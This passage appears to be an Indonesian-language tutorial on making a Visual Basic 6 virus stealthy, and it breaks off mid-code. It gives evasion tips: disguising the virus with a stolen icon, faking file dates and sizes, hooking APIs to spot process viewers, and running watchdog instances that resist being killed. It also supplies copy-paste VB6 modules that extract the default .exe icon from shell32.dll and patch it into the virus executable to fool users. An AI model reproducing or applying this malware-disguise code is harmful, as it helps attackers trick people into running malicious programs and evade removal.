dibiarkan apa adanya tanpa perlindungan&lt;br /&gt;apapun terhadap isinya. Hal ini memudahkan dalam melacak nama trigger virus tsb.&lt;br /&gt; Sebenarnya langkah apa yang harus diambil agar virus kita tak mudah terlacak oleh User? Menurut pandangan&lt;br /&gt;saya ada beberapa poin yang sangat penting:&lt;br /&gt;&lt;br /&gt;1. Lakukan teknik penggantian Ikon secara langsung (Ekstrak dan ganti), bukan mengandalkan ikon default.&lt;br /&gt;2. Penggantian Filetime maupun FileDate dan ukuran pada file Virus agar tidak mudah ditemukan dengan Search.&lt;br /&gt;3. Gunakan API-Hook dalam melacak tool Proses Viewer, jangan mengandalkan windows Caption karena sudah banyak&lt;br /&gt;   tool yang tidak memakai window caption lagi.&lt;br /&gt;4. Jika memungkinkan jangan me-launch instan virus dengan cara "shell", karena hal ini dapat berakibat &lt;br /&gt;   Proses Virus menjadi Parent and Child. Bila sang parent mati maka si child pun akan ikut mati.&lt;br /&gt;5. Selalu gunakan instan virus lain untuk saling melacak keberadaan virus (Anti-Kill process) sehingga virus&lt;br /&gt;   memungkinkan untuk tetap eksis. &lt;br /&gt;&lt;br /&gt;$&gt; How to...?&lt;br /&gt; Saya menggunakan Bahasa Pemograman Visual Basic 6.0 dalam mencoba teknik&lt;br /&gt;stealth (yang menurut saya) agak baik Serta beberapa referensi Source Code maupun artikel dari Internet.&lt;br /&gt; Teknik ini juga saya coba pada Virus Diary.Exe (V 1.3-1.5) dengan beberapa perubahan. &lt;br /&gt;&lt;br /&gt;1. Penggantian ikon&lt;br /&gt; Jika anda pernah menemukan suatu software pengekstrak atau pengganti ikon (bahkan keduanya) suatu file, maka&lt;br /&gt;kurang lebih hal ini bisa juga diimplementasikan di Virus :D. COntoh algoritmanya :&lt;br /&gt;&lt;br /&gt;    START EXECUTION&lt;br /&gt;&lt;br /&gt;          |&lt;br /&gt;    &lt;br /&gt;   Copy myself.exe to destination path&lt;br /&gt;    &lt;br /&gt;          |&lt;br /&gt;  &lt;br /&gt;   Search file yang akan diekstrak ikonnya&lt;br /&gt;&lt;br /&gt;          |&lt;br /&gt;&lt;br /&gt;   Ekstrak ikonnya, save to destination path&lt;br /&gt;&lt;br /&gt;          |&lt;br /&gt;&lt;br /&gt;   Change myself.exe dengan file ikon (*.Ico) &lt;br /&gt;    yang sudah di ekstrak &lt;br /&gt;&lt;br /&gt;          |&lt;br /&gt;&lt;br /&gt;   Hapus File ikon apabila sudah tidak digunakan&lt;br /&gt;&lt;br /&gt;          |&lt;br /&gt;  &lt;br /&gt;    END EXECUTION&lt;br /&gt;&lt;br /&gt; Saya menggunakan file Shell32.Dll sebagai file yang akan diekstrak Ikonnya, dalam hal ini saya akan memilih&lt;br /&gt;ikon Default file *.exe (yang berwarna kotak putih-biru :P). Kira-kira begini source codenya :&lt;br /&gt;&lt;br /&gt;(Diperlukan Objek PictureBox dalam Form)&lt;br /&gt;&lt;br /&gt;------------------------------------Cut Here &amp; Start Copy-Paste from Here------------------------------------&lt;br /&gt;Sub cariikon(pathcari As String, pathekstrak As String, jenisikon As String, pic2 As PictureBox)&lt;br /&gt;&lt;br /&gt;Dim poin As Long&lt;br /&gt;poin = 1&lt;br /&gt;Dim i As Long&lt;br /&gt;Dim buf(1000) As Double&lt;br /&gt;Dim jum As Integer&lt;br /&gt;jum = 0&lt;br /&gt;Dim jikon As Long&lt;br /&gt;jikon = 0&lt;br /&gt;Dim init As String&lt;br /&gt;init = Chr$(0) &amp; Chr$(0) &amp; Chr$(1) &amp; Chr$(0) &amp; Chr$(1) &amp; Chr$(0) &amp; Chr$(32) &amp; Chr$(32) &amp; Chr$(0) &amp; Chr$(0) &amp; Chr$(0) &amp; Chr$(0) &amp; Chr$(0) &amp; Chr$(0) &amp; Chr$(168) &amp; Chr$(8) &amp; Chr$(0) &amp; Chr$(0) &amp; Chr$(22) &amp; Chr$(0) &amp; Chr$(0) &amp; Chr$(0)&lt;br /&gt;Dim strbaca As String&lt;br /&gt;strbaca = Space(2238)&lt;br /&gt;Dim fildat As String&lt;br /&gt;Dim new_dic As String&lt;br /&gt;Dim rs As String&lt;br /&gt;rs = Chr$(0) &amp; Chr$(0) &amp; Chr$(0) &amp; " " &amp; Chr$(0) &amp; Chr$(0) &amp; Chr$(0) &amp; "@"&lt;br /&gt;Dim buff As Double&lt;br /&gt;buff = 1024 ^ 2&lt;br /&gt;&lt;br /&gt;Open pathcari For Binary As #1&lt;br /&gt;If LOF(1) &gt; buff Then&lt;br /&gt;fildat = Space(buff)&lt;br /&gt;Else&lt;br /&gt;fildat = Space(LOF(1))&lt;br /&gt;End If&lt;br /&gt;balik:&lt;br /&gt;If poin &gt; LOF(1) Then&lt;br /&gt;GoTo tulis&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Get #1, poin, fildat&lt;br /&gt;&lt;br /&gt;i = 1&lt;br /&gt;carilagi:&lt;br /&gt;DoEvents&lt;br /&gt;&lt;br /&gt;i = InStr(i + 1, fildat, "(" &amp; rs)&lt;br /&gt;If i &gt; 0 Then&lt;br /&gt;'lst.Add "#" &amp; lst.Count &amp; "#", i + poin - 1&lt;br /&gt;buf(jum) = i + poin - 1&lt;br /&gt;jum = jum + 1&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If i + Len(rs) &gt; buff Or i = 0 Then&lt;br /&gt;poin = poin + buff - Len("(" &amp; rs) - 1&lt;br /&gt;GoTo balik&lt;br /&gt;Else&lt;br /&gt;GoTo carilagi&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;tulis:&lt;br /&gt;Close&lt;br /&gt;Open pathcari For Binary As #1&lt;br /&gt;For poin = 0 To jum - 1&lt;br /&gt;DoEvents&lt;br /&gt;If Right(pathekstrak, 1) &lt;&gt; "\" Then&lt;br /&gt;pathekstrak = pathekstrak &amp; "\"&lt;br /&gt;End If&lt;br /&gt;If poin &lt;&gt; jenisikon Then GoTo lsg&lt;br /&gt;Open pathekstrak &amp; "Ikon.ico" For Output As #2: Close #2&lt;br /&gt;Open pathekstrak &amp; "Ikon.ico" For Binary As #2&lt;br /&gt;&lt;br /&gt;'i = lst.Item("#" &amp; poin &amp; "#")&lt;br /&gt;i = buf(poin)&lt;br /&gt;Get #1, i, strbaca&lt;br /&gt;Put #2, 1, init &amp; strbaca &amp; Chr$(255)&lt;br /&gt;Close #2&lt;br /&gt;If ikon(pathekstrak &amp; "Ikon.ico", pic2) = 0 Then&lt;br /&gt;Kill pathekstrak &amp; "Ikon.ico"&lt;br /&gt;End If&lt;br /&gt;DoEvents&lt;br /&gt;lsg: Next poin&lt;br /&gt;Close #1&lt;br /&gt;Close&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;sub ikon(path As String, pic As PictureBox)&lt;br /&gt;On Error GoTo ero&lt;br /&gt;pic.Picture = LoadPicture(path)&lt;br /&gt;ikon = 1&lt;br /&gt;Exit Function&lt;br /&gt;ero:&lt;br /&gt;ikon = 0&lt;br /&gt;Exit Function&lt;br /&gt;End Function&lt;br /&gt;------------------------------------Cut Here &amp; End Copy-Paste from Here------------------------------------&lt;br /&gt;&lt;br /&gt; Prosedur cariikon akan mencari file yang akan diekstrak ikonnya berdasarkan index ikon tersebut.&lt;br /&gt;Ikon yang akan dihasilkan masih berukuran 16X16, tetapi hal itu sudah cukup untuk mengelabui User.&lt;br /&gt;Perlu diingat bahwa index ikon file *.Exe dalam shell32.Dll untuk tiap versi Windows adalah berbeda.&lt;br /&gt;Terutama untuk Windows 9x dan Windows 2k/2003/XP/NT.&lt;br /&gt;&lt;br /&gt;Lalu bagaimana kita menukar atau change ikon virus kita dengan file ikon yang sudah diekstrak tsb?&lt;br /&gt;&lt;br /&gt;(Referensi Source Code dari Internet, Author :Naveed, neenojee@hotmail.com)&lt;br /&gt;&lt;br /&gt;1st. Module:&lt;br /&gt;------------------------------------Cut Here &amp; Start Copy-Paste from Here------------------------------------&lt;br /&gt;Option Explicit&lt;br /&gt;Type DIB_HEADER&lt;br /&gt;   Size        As Long&lt;br /&gt;   Width       As Long&lt;br /&gt;   Height      As Long&lt;br /&gt;   Planes      As Integer&lt;br /&gt;   Bitcount    As Integer&lt;br /&gt;   Reserved    As Long&lt;br /&gt;   ImageSize   As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ICON_DIR_ENTRY&lt;br /&gt;   bWidth            As Byte&lt;br /&gt;   bHeight           As Byte&lt;br /&gt;   bColorCount       As Byte&lt;br /&gt;   bReserved         As Byte&lt;br /&gt;   wPlanes           As Integer&lt;br /&gt;   wBitCount         As Integer&lt;br /&gt;   dwBytesInRes      As Long&lt;br /&gt;   dwImageOffset     As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ICON_DIR&lt;br /&gt;   Reserved          As Integer&lt;br /&gt;   Type              As Integer&lt;br /&gt;   Count             As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type DIB_BITS&lt;br /&gt;   Bits()            As Byte&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Enum Errors&lt;br /&gt;   FILE_CREATE_FAILED = 1000&lt;br /&gt;   FILE_READ_FAILED&lt;br /&gt;   INVALID_PE_SIGNATURE&lt;br /&gt;   INVALID_ICO&lt;br /&gt;   NO_RESOURCE_TREE&lt;br /&gt;   NO_ICON_BRANCH&lt;br /&gt;   CANT_HACK_HEADERS&lt;br /&gt;End Enum&lt;br /&gt;Public Function ReplaceIcons(Source As String, Dest As String) As Long&lt;br /&gt;   &lt;br /&gt;   Dim IcoDir As ICON_DIR&lt;br /&gt;   Dim IcoDirEntry As ICON_DIR_ENTRY&lt;br /&gt;   Dim tBits As DIB_BITS&lt;br /&gt;   Dim Icons() As IconDescriptor&lt;br /&gt;   Dim lngRet As Long&lt;br /&gt;   Dim BytesRead As Long&lt;br /&gt;   Dim hSource As Long&lt;br /&gt;   Dim hDest As Long&lt;br /&gt;   Dim ResTree As Long&lt;br /&gt;    &lt;br /&gt;   hSource = CreateFile(Source, ByVal &amp;H80000000, 0, ByVal 0&amp;, 3, 0, ByVal 0)&lt;br /&gt;   If hSource &gt;= 0 Then&lt;br /&gt;      If Valid_ICO(hSource) Then&lt;br /&gt;         SetFilePointer hSource, 0, 0, 0&lt;br /&gt;         ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0&amp;&lt;br /&gt;         ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0&amp;&lt;br /&gt;         SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0&lt;br /&gt;         ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte&lt;br /&gt;         ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0&amp;&lt;br /&gt;         CloseHandle hSource&lt;br /&gt;         hDest = CreateFile(Dest, ByVal (&amp;H80000000 Or &amp;H40000000), 0, ByVal 0&amp;, 3, 0, ByVal 0)&lt;br /&gt;         If hDest &gt;= 0 Then&lt;br /&gt;            If Valid_PE(hDest) Then&lt;br /&gt;               ResTree = GetResTreeOffset(hDest)&lt;br /&gt;               If ResTree &gt; 308 Then   ' Sanity check&lt;br /&gt;                  lngRet = GetIconOffsets(hDest, ResTree, Icons)&lt;br /&gt;                  SetFilePointer hDest, Icons(1).Offset, 0, 0&lt;br /&gt;                  WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0&amp;&lt;br /&gt;               Else&lt;br /&gt;                  CloseHandle hDest&lt;br /&gt;               End If&lt;br /&gt;            Else&lt;br /&gt;               CloseHandle hDest&lt;br /&gt;            End If&lt;br /&gt;         CloseHandle hDest&lt;br /&gt;         Else&lt;br /&gt;         End If&lt;br /&gt;      Else&lt;br /&gt;         CloseHandle hSource&lt;br /&gt;      End If&lt;br /&gt;   Else&lt;br /&gt;   End If&lt;br /&gt;   ReplaceIcons = 0&lt;br /&gt;   Exit Function&lt;br /&gt;End Function&lt;br /&gt;Public Function Valid_ICO(hfile As Long) As Boolean&lt;br /&gt;   Dim tDir          As ICON_DIR&lt;br /&gt;   Dim BytesRead     As Long&lt;br /&gt;   If (hfile &gt; 0) Then&lt;br /&gt;      ReadFile hfile, tDir, Len(tDir), BytesRead, ByVal 0&amp;&lt;br /&gt;      If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count &gt; 0) Then&lt;br /&gt;         Valid_ICO = True&lt;br /&gt;      Else&lt;br /&gt;         Valid_ICO = False&lt;br /&gt;      End If&lt;br /&gt;   Else&lt;br /&gt;      Valid_ICO = False&lt;br /&gt;   End If&lt;br /&gt;End Function&lt;br /&gt;------------------------------------Cut Here &amp; End Copy-Paste from Here------------------------------------&lt;br /&gt;&lt;br /&gt;2nd. Module&lt;br /&gt;------------------------------------Cut Here &amp; Start Copy-Paste from Here------------------------------------&lt;br /&gt;Option Explicit&lt;br /&gt;Public Type IMAGE_DOS_HEADER&lt;br /&gt;   Magic    As Integer&lt;br /&gt;   cblp     As Integer&lt;br /&gt;   cp       As Integer&lt;br /&gt;   crlc     As Integer&lt;br /&gt;   cparhdr  As Integer&lt;br /&gt;   minalloc As Integer&lt;br /&gt;   maxalloc As Integer&lt;br /&gt;   ss       As Integer&lt;br /&gt;   sp       As Integer&lt;br /&gt;   csum     As Integer&lt;br /&gt;   ip       As Integer&lt;br /&gt;   cs       As Integer&lt;br /&gt;   lfarlc   As Integer&lt;br /&gt;   ovno     As Integer&lt;br /&gt;   res(3)   As Integer&lt;br /&gt;   oemid    As Integer&lt;br /&gt;   oeminfo  As Integer&lt;br /&gt;   res2(9)  As Integer&lt;br /&gt;   lfanew      As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type IMAGE_FILE_HEADER&lt;br /&gt;   Machine              As Integer&lt;br /&gt;   NumberOfSections     As Integer&lt;br /&gt;   TimeDateStamp        As Long&lt;br /&gt;   PointerToSymbolTable As Long&lt;br /&gt;   NumberOfSymbols      As Long&lt;br /&gt;   SizeOfOtionalHeader  As Integer&lt;br /&gt;   Characteristics      As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type IMAGE_DATA_DIRECTORY&lt;br /&gt;   DataRVA     As Long&lt;br /&gt;   DataSize    As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type IMAGE_OPTIONAL_HEADER&lt;br /&gt;   Magic             As Integer&lt;br /&gt;   MajorLinkVer      As Byte&lt;br /&gt;   MinorLinkVer      As Byte&lt;br /&gt;   CodeSize          As Long&lt;br /&gt;   InitDataSize      As Long&lt;br /&gt;   unInitDataSize    As Long&lt;br /&gt;   EntryPoint        As Long&lt;br /&gt;   CodeBase          As Long&lt;br /&gt;   DataBase          As Long&lt;br /&gt;   ImageBase         As Long&lt;br /&gt;   SectionAlignment  As Long&lt;br /&gt;   FileAlignment     As Long&lt;br /&gt;   MajorOSVer        As Integer&lt;br /&gt;   MinorOSVer        As Integer&lt;br /&gt;   MajorImageVer     As Integer&lt;br /&gt;   MinorImageVer     As Integer&lt;br /&gt;   MajorSSVer        As Integer&lt;br /&gt;   MinorSSVer        As Integer&lt;br /&gt;   Win32Ver          As Long&lt;br /&gt;   ImageSize         As Long&lt;br /&gt;   HeaderSize        As Long&lt;br /&gt;   Checksum          As Long&lt;br /&gt;   Subsystem         As Integer&lt;br /&gt;   DLLChars          As Integer&lt;br /&gt;   StackRes          As Long&lt;br /&gt;   StackCommit       As Long&lt;br /&gt;   HeapReserve       As Long&lt;br /&gt;   HeapCommit        As Long&lt;br /&gt;   LoaderFlags       As Long&lt;br /&gt;   RVAsAndSizes      As Long&lt;br /&gt;   DataEntries(15)   As IMAGE_DATA_DIRECTORY&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type IMAGE_SECTION_HEADER&lt;br /&gt;   SectionName(7)    As Byte&lt;br /&gt;   Address           As Long&lt;br /&gt;   VirtualAddress    As Long&lt;br /&gt;   SizeOfData        As Long&lt;br /&gt;   PData             As Long&lt;br /&gt;   PReloc            As Long&lt;br /&gt;   PLineNums         As Long&lt;br /&gt;   RelocCount        As Integer&lt;br /&gt;   LineCount         As Integer&lt;br /&gt;   Characteristics   As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type IMAGE_RESOURCE_DIR&lt;br /&gt;   Characteristics   As Long&lt;br /&gt;   TimeStamp         As Long&lt;br /&gt;   MajorVersion      As Integer&lt;br /&gt;   MinorVersion      As Integer&lt;br /&gt;   NamedEntries      As Integer&lt;br /&gt;   IDEntries         As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type RESOURCE_DIR_ENTRY&lt;br /&gt;   Name              As Long&lt;br /&gt;   Offset            As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type RESOURCE_DATA_ENTRY&lt;br /&gt;   Offset            As Long&lt;br /&gt;   Size              As Long&lt;br /&gt;   CodePage          As Long&lt;br /&gt;   Reserved          As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type IconDescriptor&lt;br /&gt;   ID       As Long&lt;br /&gt;   Offset   As Long&lt;br /&gt;   Size     As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)&lt;br /&gt;Public Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long&lt;br /&gt;Public Declare Function ReadFile Lib "kernel32" (ByVal hfile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long&lt;br /&gt;Public Declare Function WriteFile Lib "kernel32" (ByVal hfile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long&lt;br /&gt;Public Declare Function SetFilePointer Lib "kernel32" (ByVal hfile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long&lt;br /&gt;Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long&lt;br /&gt;&lt;br /&gt;Private SectionAlignment   As Long&lt;br /&gt;Private FileAlignment      As Long&lt;br /&gt;Private ResSectionRVA      As Long&lt;br /&gt;Private ResSectionOffset   As Long&lt;br /&gt;Public Function Valid_PE(hfile As Long) As Boolean&lt;br /&gt;   &lt;br /&gt;   Dim Buffer(12)      As Byte&lt;br /&gt;   Dim lngBytesRead    As Long&lt;br /&gt;   Dim tDosHeader      As IMAGE_DOS_HEADER&lt;br /&gt;   &lt;br /&gt;   If (hfile &gt; 0) Then&lt;br /&gt;      ReadFile hfile, tDosHeader, ByVal Len(tDosHeader), lngBytesRead, ByVal 0&amp;&lt;br /&gt;      CopyMemory Buffer(0), tDosHeader.Magic, 2&lt;br /&gt;      If (Chr(Buffer(0)) &amp; Chr(Buffer(1)) = "MZ") Then&lt;br /&gt;         SetFilePointer hfile, tDosHeader.lfanew, 0, 0&lt;br /&gt;         ReadFile hfile, Buffer(0), 4, lngBytesRead, ByVal 0&amp;&lt;br /&gt;         If (Chr(Buffer(0)) = "P") And (Chr(Buffer(1)) = "E") And (Buffer(2) = 0) And (Buffer(3) = 0) Then&lt;br /&gt;            Valid_PE = True&lt;br /&gt;            Exit Function&lt;br /&gt;         End If&lt;br /&gt;      End If&lt;br /&gt;   End If&lt;br /&gt;   &lt;br /&gt;   Valid_PE = False&lt;br /&gt;   &lt;br /&gt;End Function&lt;br /&gt;Public Function GetResTreeOffset(hfile As Long) As Long&lt;br /&gt;On Error GoTo ErrHandler:&lt;br /&gt;   &lt;br /&gt;   Dim tDos          As IMAGE_DOS_HEADER&lt;br /&gt;   Dim tFile         As IMAGE_FILE_HEADER&lt;br /&gt;   Dim tOptional     As IMAGE_OPTIONAL_HEADER&lt;br /&gt;   Dim tSections()   As IMAGE_SECTION_HEADER&lt;br /&gt;   Dim BytesRead     As Long&lt;br /&gt;   Dim intC          As Integer&lt;br /&gt;   Dim TreeFound     As Boolean&lt;br /&gt;   &lt;br /&gt;   TreeFound = False&lt;br /&gt;   If (hfile &gt; 0) Then&lt;br /&gt;      SetFilePointer hfile, 0, 0, 0&lt;br /&gt;      ' Get the offset of the Image File Header&lt;br /&gt;      ReadFile hfile, tDos, Len(tDos), BytesRead, ByVal 0&amp;&lt;br /&gt;      SetFilePointer hfile, ByVal tDos.lfanew + 4, 0, 0&lt;br /&gt;      ' Get the Image File Header and the Image Optional Header&lt;br /&gt;      ReadFile hfile, tFile, Len(tFile), BytesRead, ByVal 0&amp;&lt;br /&gt;      ReadFile hfile, tOptional, Len(tOptional), BytesRead, ByVal 0&amp;&lt;br /&gt;      ' Get section headers&lt;br /&gt;      ReDim tSections(tFile.NumberOfSections - 1) As IMAGE_SECTION_HEADER&lt;br /&gt;      ReadFile hfile, tSections(0), Len(tSections(0)) * tFile.NumberOfSections, BytesRead, ByVal 0&amp;&lt;br /&gt;      ' Make sure there is a resource tree in this file&lt;br /&gt;      If (tOptional.DataEntries(2).DataSize) Then&lt;br /&gt;         ' Save section alignment and file alignment of image&lt;br /&gt;         SectionAlignment = tOptional.SectionAlignment&lt;br /&gt;         FileAlignment = tOptional.FileAlignment&lt;br /&gt;         ' Determine which section contains the resource tree&lt;br /&gt;         For intC = 0 To UBound(tSections)&lt;br /&gt;            If (tSections(intC).VirtualAddress &lt;= tOptional.DataEntries(2).DataRVA) _&lt;br /&gt;             And ((tSections(intC).VirtualAddress + tSections(intC).SizeOfData) &gt; tOptional.DataEntries(2).DataRVA) Then&lt;br /&gt;               TreeFound = True&lt;br /&gt;               ' Save RVA and offset of resource section for future calculations&lt;br /&gt;               ResSectionRVA = tSections(intC).VirtualAddress&lt;br /&gt;               ResSectionOffset = tSections(intC).PData&lt;br /&gt;               ' Calculate the physical file offset of the resouce tree&lt;br /&gt;               GetResTreeOffset = tSections(intC).PData + (tOptional.DataEntries(2).DataRVA - tSections(intC).VirtualAddress)&lt;br /&gt;               Exit For&lt;br /&gt;            End If&lt;br /&gt;         Next intC&lt;br /&gt;         If Not TreeFound Then&lt;br /&gt;            GetResTreeOffset = -1&lt;br /&gt;         End If&lt;br /&gt;      Else&lt;br /&gt;         GetResTreeOffset = -1&lt;br /&gt;      End If&lt;br /&gt;   Else&lt;br /&gt;      GetResTreeOffset = -1&lt;br /&gt;   End If&lt;br /&gt;   Exit Function&lt;br /&gt;&lt;br /&gt;ErrHandler:&lt;br /&gt;   &lt;br /&gt;End Function&lt;br /&gt;Public Function GetIconOffsets(hfile As Long, TreeOffset As Long, Icons() As IconDescriptor) As Long&lt;br /&gt;On Error GoTo ErrHandler:&lt;br /&gt;&lt;br /&gt;   Dim Root          As IMAGE_RESOURCE_DIR      ' Root node of resource tree&lt;br /&gt;   Dim L1Entries()   As RESOURCE_DIR_ENTRY      ' 1st level of directory entries&lt;br /&gt;   Dim L2Root()      As IMAGE_RESOURCE_DIR      ' Level 2 resource directories&lt;br /&gt;   Dim L2Entries()   As RESOURCE_DIR_ENTRY      ' 2nd level of directory entries&lt;br /&gt;   Dim L3Root()      As IMAGE_RESOURCE_DIR      ' Level 3 resource directories&lt;br /&gt;   Dim L3Entries()   As RESOURCE_DIR_ENTRY      ' 3rd level of directory entries&lt;br /&gt;   Dim DataEntries() As RESOURCE_DATA_ENTRY     ' Resource data entries&lt;br /&gt;   Dim DIB           As DIB_HEADER              ' Descriptor for icon images&lt;br /&gt;   Dim iLvl1         As Integer                 ' Loop Counter (first level)&lt;br /&gt;   Dim iLvl2         As Integer                 ' Loop Counter (second level)&lt;br /&gt;   Dim iLvl3         As Integer                 ' Loop Counter (third level)&lt;br /&gt;   Dim Cursor        As Long                    ' Temp val for setting file pointer&lt;br /&gt;   Dim BytesRead     As Long                    ' For ReadFile()&lt;br /&gt;   Dim Count         As Integer                 ' Number of icons found&lt;br /&gt;   &lt;br /&gt;   If (hfile &gt; 0) Then&lt;br /&gt;      Count = 0&lt;br /&gt;      SetFilePointer hfile, ByVal TreeOffset, 0, 0&lt;br /&gt;      ' Get the root node and begin navigating the resource tree&lt;br /&gt;      ReadFile hfile, Root, Len(Root), BytesRead, ByVal 0&lt;br /&gt;      ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR&lt;br /&gt;      ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY&lt;br /&gt;      ' Get first level child nodes&lt;br /&gt;      For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries)&lt;br /&gt;         SetFilePointer hfile, TreeOffset + 8 + (iLvl1 * 8), 0, 0&lt;br /&gt;         ReadFile hfile, L1Entries(iLvl1), 8, BytesRead, ByVal 0&amp;&lt;br /&gt;         If L1Entries(iLvl1).Name = 3 Then&lt;br /&gt;            ' Jump to level 2 and get directory&lt;br /&gt;            '     Strip high-order byte from offset&lt;br /&gt;            CopyMemory Cursor, L1Entries(iLvl1).Offset, 3&lt;br /&gt;            Cursor = Cursor + TreeOffset&lt;br /&gt;            SetFilePointer hfile, ByVal Cursor, 0, 0&lt;br /&gt;            ReadFile hfile, L2Root(iLvl1), 16, BytesRead, ByVal 0&amp;&lt;br /&gt;            ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR&lt;br /&gt;            ReDim L2Entries(L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries) As RESOURCE_DIR_ENTRY&lt;br /&gt;            For iLvl2 = 1 To (L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries)&lt;br /&gt;               ' Read second level child nodes&lt;br /&gt;               CopyMemory Cursor, L1Entries(iLvl1).Offset, 3&lt;br /&gt;               Cursor = Cursor + TreeOffset&lt;br /&gt;               SetFilePointer hfile, Cursor + 8 + (iLvl2 * 8), 0, 0&lt;br /&gt;               ReadFile hfile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&amp;&lt;br /&gt;               ' Jump to level 3 and get directory&lt;br /&gt;               CopyMemory Cursor, L2Entries(iLvl2).Offset, 3&lt;br /&gt;               Cursor = Cursor + TreeOffset&lt;br /&gt;               SetFilePointer hfile, ByVal Cursor, 0, 0&lt;br /&gt;               ReadFile hfile, L3Root(iLvl2), 16, BytesRead, ByVal 0&amp;&lt;br /&gt;               ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY&lt;br /&gt;               ReDim DataEntries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DATA_ENTRY&lt;br /&gt;               For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)&lt;br /&gt;                  ' Read third level child nodes&lt;br /&gt;                  CopyMemory Cursor, L2Entries(iLvl2).Offset, 3&lt;br /&gt;                  Cursor = Cursor + TreeOffset&lt;br /&gt;                  SetFilePointer hfile, (Cursor + 8 + (iLvl3 * 8)), 0, 0&lt;br /&gt;                  ReadFile hfile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&amp;&lt;br /&gt;                  ' Jump to IMAGE_DATA_ENTRY and get RVA of IconDir structure&lt;br /&gt;                  SetFilePointer hfile, TreeOffset + (L3Entries(iLvl3).Offset), 0, 0&lt;br /&gt;                  ReadFile hfile, DataEntries(iLvl3), 16, BytesRead, ByVal 0&amp;&lt;br /&gt;                  ' Convert RVA of IconDir structure to file offset and store&lt;br /&gt;                  Count = Count + 1&lt;br /&gt;                  ReDim Preserve Icons(Count) As IconDescriptor&lt;br /&gt;                  Icons(Count).Offset = RVA_to_Offset(DataEntries(iLvl3).Offset)&lt;br /&gt;                  ' Store ID of icon resource&lt;br /&gt;                  Icons(Count).ID = L2Entries(iLvl2).Name&lt;br /&gt;                  ' Store Size of icon resource&lt;br /&gt;                  SetFilePointer hfile, Icons(Count).Offset, 0, 0&lt;br /&gt;                  ReadFile hfile, DIB, ByVal Len(DIB), BytesRead, ByVal 0&amp;&lt;br /&gt;                  Icons(Count).Size = DIB.ImageSize + 40&lt;br /&gt;               Next iLvl3&lt;br /&gt;            Next iLvl2&lt;br /&gt;         End If&lt;br /&gt;      Next iLvl1&lt;br /&gt;   Else&lt;br /&gt;      Count = 0&lt;br /&gt;   End If&lt;br /&gt;   &lt;br /&gt;   ' Return the number of icons found&lt;br /&gt;   GetIconOffsets = Count&lt;br /&gt;   Exit Function&lt;br /&gt;   &lt;br /&gt;ErrHandler:&lt;br /&gt;   &lt;br /&gt;End Function&lt;br /&gt;Public Function HackDirectories(hfile As Long, ResTree As Long, DIBOffset As Long, _&lt;br /&gt;                                DIBAttrib As ICON_DIR_ENTRY) As Boolean&lt;br /&gt;On Error GoTo ErrHandler:&lt;br /&gt;&lt;br /&gt;   Dim Cursor        As Long                 ' File pointer position&lt;br /&gt;   Dim Root          As IMAGE_RESOURCE_DIR   ' Root node of res tree&lt;br /&gt;   Dim L1Entries()   As RESOURCE_DIR_ENTRY   ' First-level child nodes&lt;br /&gt;   Dim L2Root()      As IMAGE_RESOURCE_DIR   ' Second-level root nodes&lt;br /&gt;   Dim L2Entries()   As RESOURCE_DIR_ENTRY   ' Second-level child nodes&lt;br /&gt;   Dim L3Root()      As IMAGE_RESOURCE_DIR   ' Third-level root nodes&lt;br /&gt;   Dim L3Entries()   As RESOURCE_DIR_ENTRY   ' Third-level child nodes&lt;br /&gt;   Dim DataEntries() As 